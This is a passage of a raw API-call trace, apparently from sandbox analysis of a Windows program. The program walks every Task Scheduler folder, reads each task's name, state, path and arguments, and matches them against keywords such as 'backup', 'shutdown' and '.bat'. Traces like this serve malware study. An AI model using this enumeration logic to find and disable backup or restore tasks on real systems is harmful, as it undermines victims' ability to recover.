This=0x24635a8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0210.574] IUnknown:Release (This=0x24635a8) returned 0x0 [0210.574] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0210.574] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x15, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0210.574] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0210.575] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0210.575] IUnknown:Release (This=0x2463648) returned 0x0 [0210.575] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2464e30) returned 0x0 [0210.575] ITaskFolderCollection:get_Count (in: This=0x2464e30, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0210.575] IUnknown:Release (This=0x2464e30) returned 0x0 [0210.575] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0210.575] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x16, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0210.575] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0210.576] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0210.576] IUnknown:Release (This=0x2463648) returned 0x0 [0210.576] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24635a8) returned 0x0 [0210.576] ITaskFolderCollection:get_Count (in: This=0x24635a8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=1) returned 0x0 [0210.576] ITaskFolderCollection:get_Item (in: This=0x24635a8, index=0x5cfa1c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppFolder=0x5cfa44 | out: ppFolder=0x5cfa44*=0x2460180) returned 0x0 [0210.576] ITaskFolder:GetTasks (in: This=0x2460180, flags=0, ppTasks=0x5cf9e4 | out: ppTasks=0x5cf9e4*=0x2463648) returned 0x0 [0210.577] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9c0 | out: pCount=0x5cf9c0*=0) returned 0x0 [0210.577] IUnknown:Release (This=0x2463648) returned 0x0 [0210.577] ITaskFolder:GetFolders (in: This=0x2460180, flags=0, ppFolders=0x5cfa20 | out: ppFolders=0x5cfa20*=0x2464e78) returned 0x0 [0210.577] ITaskFolderCollection:get_Count (in: This=0x2464e78, pCount=0x5cfa14 | out: pCount=0x5cfa14*=0) returned 0x0 [0210.577] IUnknown:Release (This=0x2464e78) returned 0x0 [0210.577] TaskScheduler:IUnknown:Release (This=0x2460180) returned 0x0 [0210.577] IUnknown:Release (This=0x24635a8) returned 0x0 [0210.577] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0210.577] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x17, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0210.577] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0210.578] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0210.578] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e98) returned 0x0 [0210.578] IRegisteredTask:get_Name (in: This=0x2464e98, pName=0x5cf9f8 | out: pName=0x5cf9f8*="AnalyzeSystem") returned 0x0 [0210.578] IRegisteredTask:get_State (in: This=0x2464e98, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0210.579] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6e62a8 [0210.579] wcsstr (_Str="analyzesystem", _SubStr="reboot") returned 0x0 [0210.579] wcsstr (_Str="analyzesystem", _SubStr="restart") returned 0x0 [0210.579] wcsstr (_Str="analyzesystem", _SubStr="shutdown") returned 0x0 [0210.579] wcsstr (_Str="analyzesystem", _SubStr="logoff") returned 0x0 [0210.579] wcsstr (_Str="analyzesystem", _SubStr=".bat") returned 0x0 [0210.579] wcsstr (_Str="analyzesystem", _SubStr="backup") returned 0x0 [0210.579] wcsstr (_Str="analyzesystem", _SubStr=".cmd") returned 0x0 [0210.579] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e62a8) returned 1 [0210.579] IRegisteredTask:get_Definition (in: This=0x2464e98, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2464ee0) returned 0x0 [0210.586] ITaskDefinition:get_Actions (in: This=0x2464ee0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2464f58) returned 0x0 [0210.586] IActionCollection:get_Count (in: This=0x2464f58, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0210.586] IActionCollection:get_Item (in: This=0x2464f58, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463688) returned 0x0 [0210.586] IAction:get_Type (in: This=0x2463688, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0210.586] IUnknown:QueryInterface (in: This=0x2463688, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463688) returned 0x0 [0210.586] IExecAction:get_Path (in: This=0x2463688, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\System32\\powercfg.exe") returned 0x0 [0210.586] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x46) returned 0x6e7270 [0210.586] wcsstr (_Str="%systemroot%\\system32\\powercfg.exe", _SubStr="reboot") returned 0x0 [0210.586] wcsstr (_Str="%systemroot%\\system32\\powercfg.exe", _SubStr="restart") returned 0x0 [0210.586] wcsstr (_Str="%systemroot%\\system32\\powercfg.exe", _SubStr="shutdown") returned 0x0 [0210.586] wcsstr (_Str="%systemroot%\\system32\\powercfg.exe", _SubStr="logoff") returned 0x0 [0210.587] wcsstr (_Str="%systemroot%\\system32\\powercfg.exe", _SubStr=".bat") returned 0x0 [0210.587] wcsstr (_Str="%systemroot%\\system32\\powercfg.exe", _SubStr="backup") returned 0x0 [0210.587] wcsstr (_Str="%systemroot%\\system32\\powercfg.exe", _SubStr=".cmd") returned 0x0 [0210.587] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0210.587] IExecAction:get_Arguments (in: This=0x2463688, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="-energy -auto") returned 0x0 [0210.587] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6e6280 [0210.587] wcsstr (_Str="-energy -auto", _SubStr="reboot") returned 0x0 [0210.587] wcsstr (_Str="-energy -auto", _SubStr="restart") returned 0x0 [0210.587] wcsstr (_Str="-energy -auto", _SubStr="shutdown") returned 0x0 [0210.587] wcsstr (_Str="-energy -auto", _SubStr="logoff") returned 0x0 [0210.587] wcsstr (_Str="-energy -auto", _SubStr=".bat") returned 0x0 [0210.587] wcsstr (_Str="-energy -auto", _SubStr="backup") returned 0x0 [0210.587] wcsstr (_Str="-energy -auto", _SubStr=".cmd") returned 0x0 [0210.587] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6280) returned 1 [0210.587] IUnknown:Release (This=0x2463688) returned 0x2 [0210.587] IUnknown:Release (This=0x2463688) returned 0x1 [0210.587] IUnknown:Release (This=0x2464f58) returned 0x1 [0210.587] IUnknown:Release (This=0x2464ee0) returned 0x0 [0210.587] IUnknown:Release (This=0x2464e98) returned 0x0 [0210.587] IUnknown:Release (This=0x2463648) returned 0x0 [0210.587] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2464e30) returned 0x0 [0210.587] ITaskFolderCollection:get_Count (in: This=0x2464e30, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0210.588] IUnknown:Release (This=0x2464e30) returned 0x0 [0210.588] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0210.588] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0210.588] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0210.588] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0210.588] IUnknown:Release (This=0x2463648) returned 0x0 [0210.588] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24635a8) returned 0x0 [0210.589] ITaskFolderCollection:get_Count (in: This=0x24635a8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0210.589] IUnknown:Release (This=0x24635a8) returned 0x0 [0210.589] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0210.589] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x19, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0210.589] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0210.589] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0210.589] IUnknown:Release (This=0x2463648) returned 0x0 [0210.589] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24635a8) returned 0x0 [0210.589] ITaskFolderCollection:get_Count (in: This=0x24635a8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0210.590] IUnknown:Release (This=0x24635a8) returned 0x0 [0210.590] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0210.590] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1a, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0210.590] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24636c8) returned 0x0 [0210.590] IRegisteredTaskCollection:get_Count (in: This=0x24636c8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0210.590] IUnknown:Release (This=0x24636c8) returned 0x0 [0210.590] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24635a8) returned 0x0 [0210.590] ITaskFolderCollection:get_Count (in: This=0x24635a8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0210.591] IUnknown:Release (This=0x24635a8) returned 0x0 [0210.591] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0210.591] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1b, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0210.591] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0210.591] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0210.591] IUnknown:Release (This=0x2463648) returned 0x0 [0210.591] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2464e30) returned 0x0 [0210.591] ITaskFolderCollection:get_Count (in: This=0x2464e30, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0210.591] IUnknown:Release (This=0x2464e30) returned 0x0 [0210.591] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0210.592] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1c, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0210.592] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0210.592] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0210.592] IUnknown:Release (This=0x2463648) returned 0x0 [0210.592] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24635a8) returned 0x0 [0210.592] ITaskFolderCollection:get_Count (in: This=0x24635a8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0210.592] IUnknown:Release (This=0x24635a8) returned 0x0 [0210.592] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0210.592] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1d, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0210.593] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24636c8) returned 0x0 [0210.593] IRegisteredTaskCollection:get_Count (in: This=0x24636c8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0210.593] IUnknown:Release (This=0x24636c8) returned 0x0 [0210.593] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24635a8) returned 0x0 [0210.593] ITaskFolderCollection:get_Count (in: This=0x24635a8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0210.593] IUnknown:Release (This=0x24635a8) returned 0x0 [0210.594] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0210.594] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1e, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0210.594] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24636c8) returned 0x0 [0210.594] IRegisteredTaskCollection:get_Count (in: This=0x24636c8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=4) returned 0x0 [0210.594] IRegisteredTaskCollection:get_Item (in: This=0x24636c8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e30) returned 0x0 [0210.594] IRegisteredTask:get_Name (in: This=0x2464e30, pName=0x5cf9f8 | out: pName=0x5cf9f8*="AutoWake") returned 0x0 [0210.594] IRegisteredTask:get_State (in: This=0x2464e30, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0210.598] IUnknown:Release (This=0x2464e30) returned 0x0 [0210.598] IRegisteredTaskCollection:get_Item (in: This=0x24636c8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e30) returned 0x0 [0210.598] IRegisteredTask:get_Name (in: This=0x2464e30, pName=0x5cf9f8 | out: pName=0x5cf9f8*="GadgetManager") returned 0x0 [0210.598] IRegisteredTask:get_State (in: This=0x2464e30, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0210.600] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6e6050 [0210.600] wcsstr (_Str="gadgetmanager", _SubStr="reboot") returned 0x0 [0210.600] wcsstr (_Str="gadgetmanager", _SubStr="restart") returned 0x0 [0210.600] wcsstr (_Str="gadgetmanager", _SubStr="shutdown") returned 0x0 [0210.600] wcsstr (_Str="gadgetmanager", _SubStr="logoff") returned 0x0 [0210.600] wcsstr (_Str="gadgetmanager", _SubStr=".bat") returned 0x0 [0210.600] wcsstr (_Str="gadgetmanager", _SubStr="backup") returned 0x0 [0210.600] wcsstr (_Str="gadgetmanager", _SubStr=".cmd") returned 0x0 [0210.600] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6050) returned 1 [0210.600] IRegisteredTask:get_Definition (in: This=0x2464e30, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2464ee0) returned 0x0 [0210.605] ITaskDefinition:get_Actions (in: This=0x2464ee0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2464f58) returned 0x0 [0210.605] IActionCollection:get_Count (in: This=0x2464f58, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0210.605] IActionCollection:get_Item (in: This=0x2464f58, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463788) returned 0x0 [0210.605] IAction:get_Type (in: This=0x2463788, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0210.605] IUnknown:Release (This=0x2463788) returned 0x1 [0210.605] IUnknown:Release (This=0x2464f58) returned 0x1 [0210.605] IUnknown:Release (This=0x2464ee0) returned 0x0 [0210.605] IUnknown:Release (This=0x2464e30) returned 0x0 [0210.605] IRegisteredTaskCollection:get_Item (in: This=0x24636c8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e30) returned 0x0 [0210.605] IRegisteredTask:get_Name (in: This=0x2464e30, pName=0x5cf9f8 | out: pName=0x5cf9f8*="SessionAgent") returned 0x0 [0210.605] IRegisteredTask:get_State (in: This=0x2464e30, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0210.607] IUnknown:Release (This=0x2464e30) returned 0x0 [0210.607] IRegisteredTaskCollection:get_Item (in: This=0x24636c8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e30) returned 0x0 [0210.607] IRegisteredTask:get_Name (in: This=0x2464e30, pName=0x5cf9f8 | out: pName=0x5cf9f8*="SystemDataProviders") returned 0x0 [0210.607] IRegisteredTask:get_State (in: This=0x2464e30, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0210.608] IUnknown:Release (This=0x2464e30) returned 0x0 [0210.608] IUnknown:Release (This=0x24636c8) returned 0x0 [0210.608] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24635a8) returned 0x0 [0210.609] ITaskFolderCollection:get_Count (in: This=0x24635a8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0210.609] IUnknown:Release (This=0x24635a8) returned 0x0 [0210.609] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0210.609] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1f, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0210.609] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0210.609] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0210.609] IUnknown:Release (This=0x2463648) returned 0x0 [0210.609] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2464e30) returned 0x0 [0210.610] ITaskFolderCollection:get_Count (in: This=0x2464e30, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0210.610] IUnknown:Release (This=0x2464e30) returned 0x0 [0210.610] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0210.610] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0210.610] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0210.610] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0210.610] IUnknown:Release (This=0x2463648) returned 0x0 [0210.610] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2464e30) returned 0x0 [0210.610] ITaskFolderCollection:get_Count (in: This=0x2464e30, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0210.611] IUnknown:Release (This=0x2464e30) returned 0x0 [0210.611] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0210.611] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x21, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0210.611] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0210.611] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0210.611] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e30) returned 0x0 [0210.611] IRegisteredTask:get_Name (in: This=0x2464e30, pName=0x5cf9f8 | out: pName=0x5cf9f8*="SR") returned 0x0 [0210.611] IRegisteredTask:get_State (in: This=0x2464e30, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0210.613] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x6) returned 0x6d8978 [0210.613] wcsstr (_Str="sr", _SubStr="reboot") returned 0x0 [0210.613] wcsstr (_Str="sr", _SubStr="restart") returned 0x0 [0210.613] wcsstr (_Str="sr", _SubStr="shutdown") returned 0x0 [0210.613] wcsstr (_Str="sr", _SubStr="logoff") returned 0x0 [0210.613] wcsstr (_Str="sr", _SubStr=".bat") returned 0x0 [0210.613] wcsstr (_Str="sr", _SubStr="backup") returned 0x0 [0210.613] wcsstr (_Str="sr", _SubStr=".cmd") returned 0x0 [0210.613] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d8978) returned 1 [0210.613] IRegisteredTask:get_Definition (in: This=0x2464e30, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2464ed0) returned 0x0 [0210.621] ITaskDefinition:get_Actions (in: This=0x2464ed0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2464f48) returned 0x0 [0210.621] IActionCollection:get_Count (in: This=0x2464f48, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0210.621] IActionCollection:get_Item (in: This=0x2464f48, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463788) returned 0x0 [0210.621] IAction:get_Type (in: This=0x2463788, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0210.621] IUnknown:QueryInterface (in: This=0x2463788, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463788) returned 0x0 [0210.621] IExecAction:get_Path (in: This=0x2463788, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%windir%\\system32\\rundll32.exe") returned 0x0 [0210.621] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x3e) returned 0x6c2860 [0210.621] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="reboot") returned 0x0 [0210.621] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="restart") returned 0x0 [0210.621] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="shutdown") returned 0x0 [0210.621] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="logoff") returned 0x0 [0210.621] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr=".bat") returned 0x0 [0210.621] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="backup") returned 0x0 [0210.621] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr=".cmd") returned 0x0 [0210.621] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2860) returned 1 [0210.621] IExecAction:get_Arguments (in: This=0x2463788, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/d srrstr.dll,ExecuteScheduledSPPCreation") returned 0x0 [0210.621] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x54) returned 0x6d9258 [0210.621] wcsstr (_Str="/d srrstr.dll,executescheduledsppcreation", _SubStr="reboot") returned 0x0 [0210.621] wcsstr (_Str="/d srrstr.dll,executescheduledsppcreation", _SubStr="restart") returned 0x0 [0210.621] wcsstr (_Str="/d srrstr.dll,executescheduledsppcreation", _SubStr="shutdown") returned 0x0 [0210.621] wcsstr (_Str="/d srrstr.dll,executescheduledsppcreation", _SubStr="logoff") returned 0x0 [0210.621] wcsstr (_Str="/d srrstr.dll,executescheduledsppcreation", _SubStr=".bat") returned 0x0 [0210.621] wcsstr (_Str="/d srrstr.dll,executescheduledsppcreation", _SubStr="backup") returned 0x0 [0210.621] wcsstr (_Str="/d srrstr.dll,executescheduledsppcreation", _SubStr=".cmd") returned 0x0 [0210.621] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d9258) returned 1 [0210.621] IUnknown:Release (This=0x2463788) returned 0x2 [0210.621] IUnknown:Release (This=0x2463788) returned 0x1 [0210.622] IUnknown:Release (This=0x2464f48) returned 0x1 [0210.622] IUnknown:Release (This=0x2464ed0) returned 0x0 [0210.622] IUnknown:Release (This=0x2464e30) returned 0x0 [0210.622] IUnknown:Release (This=0x2463648) returned 0x0 [0210.622] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24635a8) returned 0x0 [0210.670] ITaskFolderCollection:get_Count (in: This=0x24635a8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0210.670] IUnknown:Release (This=0x24635a8) returned 0x0 [0210.670] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0210.670] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x22, 